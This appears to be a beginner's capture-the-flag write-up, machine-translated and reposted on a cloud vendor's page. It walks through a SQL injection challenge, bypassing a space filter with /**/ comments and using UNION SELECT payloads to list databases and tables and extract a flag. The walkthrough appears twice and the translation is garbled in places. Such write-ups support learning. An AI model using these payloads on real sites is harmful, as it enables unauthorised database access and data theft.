Share a simple SQL injection and a simple SQL Injection

Source: Internet
Author: User
Tags simple sql injection

Share a simple SQL injection and a simple SQL Injection

SQL injection is to insert SQL commands into Web forms to submit or enter query strings for domain names or page requests, and finally fool the server to execute malicious SQL commands. Specifically, it uses existing applications to inject (malicious) SQL commands into the background database engine for execution. It can input (malicious) SQL commands in Web forms) SQL statements get a database on a website with security vulnerabilities, instead of executing SQL statements according to the designer's intent. For example, most of the previous VIP member passwords leaked by many video websites are exposed by submitting query characters through WEB forms. Such forms are particularly vulnerable to SQL injection attacks.

Enter 1, 2, and 3 for the corresponding results.

If 'is used, an error is reported.

Construct common SQL statements: 1' and '1' = '1'

No response. Try 1' and '1' = '2.

No response. The tool prompts you what to filter. Change the SQL statement and try again.

1and1 = 1

It can display things. After judgment, spaces are filtered. We use/**/to replace spaces.

Try 1 '/**/and/**/'1' = '1

The result is found:

The SQL statement is constructed as follows:

Determine the databases:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

You can see the result:

View the data tables:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

When the flag table is found, we guess it should be in the web1 database and the field is flag (actually in the database on this page)

Therefore:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

I am also a beginner. I have made some mistakes after reading the wp of many bosses. I hope you can point it out. Thank you!

Based on the page prompts, what is filtered? You can find out what is filtered ....

Enter 1, 2, and 3 for the corresponding results.

If 'is used, an error is reported.

Construct common SQL statements: 1' and '1' = '1'

No response. Try 1' and '1' = '2.

No response. The tool prompts you what to filter. Change the SQL statement and try again.

1and1 = 1

It can display things. After judgment, spaces are filtered. We use/**/to replace spaces.

Try 1 '/**/and/**/'1' = '1

The result is found:

The SQL statement is constructed as follows:

Determine the databases:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

You can see the result:

View the data tables:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

When the flag table is found, we guess it should be in the web1 database and the field is flag (actually in the database on this page)

Therefore:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

Summary

The above is a simple SQL Injection introduced by xiaobian. I hope it will help you. If you have any questions, please leave a message and I will reply to you in a timely manner. Thank you very much for your support for the help House website!

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.